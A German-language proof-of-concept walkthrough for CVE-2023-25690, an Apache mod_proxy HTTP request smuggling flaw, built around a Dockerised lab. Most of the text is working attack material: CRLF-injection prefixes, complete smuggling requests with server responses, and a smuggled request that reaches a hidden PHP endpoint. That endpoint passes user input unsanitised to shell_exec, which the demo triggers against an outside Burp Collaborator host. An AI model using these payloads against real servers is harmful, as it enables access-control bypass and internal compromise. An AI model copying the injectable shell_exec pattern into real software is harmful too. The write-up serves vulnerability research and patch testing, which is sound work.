
CVE 2023 25690 Proof-of-Concept - Die anfällige Konfiguration von mod_proxy auf Apache HTTP Server Versionen 2.4.0 - 2.4.55 führt zur HTTP Request Smuggling Sicherheitslücke.
Einige mod_proxy-Konfigurationen in Apache HTTP Server Versionen 2.4.0 bis 2.4.55 ermöglichen einen HTTP-Request-Smuggling-Angriff. Konfigurationen sind betroffen, wenn mod_proxy zusammen mit einer Form von RewriteRule oder ProxyPassMatch aktiviert ist, bei der ein unspezifisches Muster einen Teil der vom Benutzer bereitgestellten Request-Target (URL) Daten erfasst und dann mittels Variablenersetzung wieder in das proxierte Request-Target eingefügt wird. Zum Beispiel so etwas wie:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
Request-Splitting/-Smuggling könnte zur Umgehung von Zugriffskontrollen im Proxy-Server, zum Proxying ungewollter URLs zu bestehenden Origin-Servern und zu Cache-Poisoning führen. Benutzern wird empfohlen, auf mindestens Version 2.4.56 des Apache HTTP Servers zu aktualisieren.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Wenn in der Apache-Konfiguration RewriteEngine on enthalten ist, wird die URL-Umschreibungs-Engine aktiviert. URL-Umschreibung ist eine Technik, mit der Webserver die von einem Client-Browser angeforderten URLs dynamisch in eine andere URL ändern können, bevor sie den Inhalt ausliefern.
Nehmen wir zum Beispiel an, wir haben die folgende URL-Struktur für einen Online-Shop:
https://example-shop.com/categories/1
Angenommen, die folgende RewriteRule-Direktive in einer Apache-Konfigurationsdatei:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Wenn ein Benutzer die URL https://example-shop.com/categories/1 anfordert, matcht die RewriteRule die URL und erfasst den Wert 1 mit dem regulären Ausdruck ^/categories/(.*). Die Regel schreibt dann die URL zu http://example-shop.com:8080/categories?id=1 um, indem der erfasste Wert als Query-Parameter id an die umgeschriebene URL angehängt wird.
Da das [P]-Flag in der Regel vorhanden ist, behandelt Apache die umgeschriebene URL als Proxy-Anfrage und leitet sie an den Zielserver unter http://example-shop.com:8080/categories weiter, mit dem Query-Parameter id gesetzt auf 1. Der Zielserver verarbeitet dann die Anfrage und sendet die Antwort an Apache zurück, der sie an den Client weiterleitet.
Zusammenfassend wird die RewriteRule-Direktive mit dem [P]-Flag verwendet, um URLs umzuschreiben und an einen anderen Server zu proxieren. In diesem Fall matcht die Regel URLs, die mit /categories/ beginnen, und hängt den erfassten Wert als Query-Parameter id an die umgeschriebene URL an. Apache leitet die Anfrage dann an den Zielserver weiter, der die Anfrage verarbeitet und die Antwort zurückgibt.
Schließlich ersetzt die Zeile ProxyPassReverse /categories/ http://example-shop.com:8080/ einfach die Domain und den Pfad des Backend-Servers durch die Domain und den Pfad des Proxy-Servers, so dass der Client Links korrekt folgen und auf Inhalte vom proxierten Backend-Server zugreifen kann, als ob sie direkt vom Proxy-Server bereitgestellt würden.

Um die Schwachstelle in Apache zu simulieren, verwenden wir die httpd Version 2.4.55. Zusätzlich wird das gesamte Lab für eine verbesserte Einrichtungs-, Konfigurations- und Reproduzierbarkeit dockerisiert.
Die Dateistruktur des Labs wird wie folgt sein:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
Die endgültige httpd.conf-Konfiguration ist wie folgt strukturiert:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Verwenden Sie den Befehl docker-compose.exe up --build, um das Lab zu starten.
In diesem Abschnitt erkläre ich, wie eine CRLF-Injection zu internem HTTP-Request-Smuggling führen kann, wodurch ein Angreifer unbefugten Zugriff auf interne Ressourcen erlangen kann, die sonst nicht zugänglich wären.
Basierend auf der Beschreibung des Advisories ist httpd <=2.4.55 anfällig für HTTP Response Splitting, auch bekannt als CRLF-Injection.
Die CRLF-Injection tritt auf, wenn:
was in unserem Fall durch das Übergeben des folgenden CRLF-Präfixes in der URL bestätigt werden kann:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
Durch Anhängen des obigen Präfixes an die URL ergibt sich die folgende endgültige Anfrage:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Nach der Anfrage verarbeitet der Server die Daten und gibt einen 200-Antwortcode zurück, der die Anfälligkeit für CRLF-Injection anzeigt.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Weitere Informationen zu HTTP Request Splitting finden Sie hier: https://owasp.org/www-community/attacks/HTTP_Response_Splitting
Mit der Header-Injection werden wir das interne HTTP-Request-Smuggling durchführen.
Beginnen wir mit dem folgenden Präfix:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
und der folgenden Anfrage
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Durch Anwendung der Rewrite-Regel wird die Anfrage in das folgende Format umgewandelt:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
wobei die codierte URL in gültige HTTP-Syntax decodiert wird, was dazu führt, dass das Backend die decodierten Daten als zweite Anfrage behandelt.
Angenommen, unsere interne Anwendung hat den folgenden geheimen Code:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
Mit dem folgenden Präfix können wir die zweite Anfrage an eine versteckte Funktionalität senden:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
und die Anfrage im Burp Collaborator abrufen:

Patches:
Die Auswirkung dieser Schwachstelle besteht darin, dass Angreifer interne Anwendungen angreifen und darauf zugreifen können, die durch den Reverse Proxy verborgen werden sollen, was potenziell zu unbefugtem Zugriff, Datenlecks oder weiterer Ausnutzung führen kann.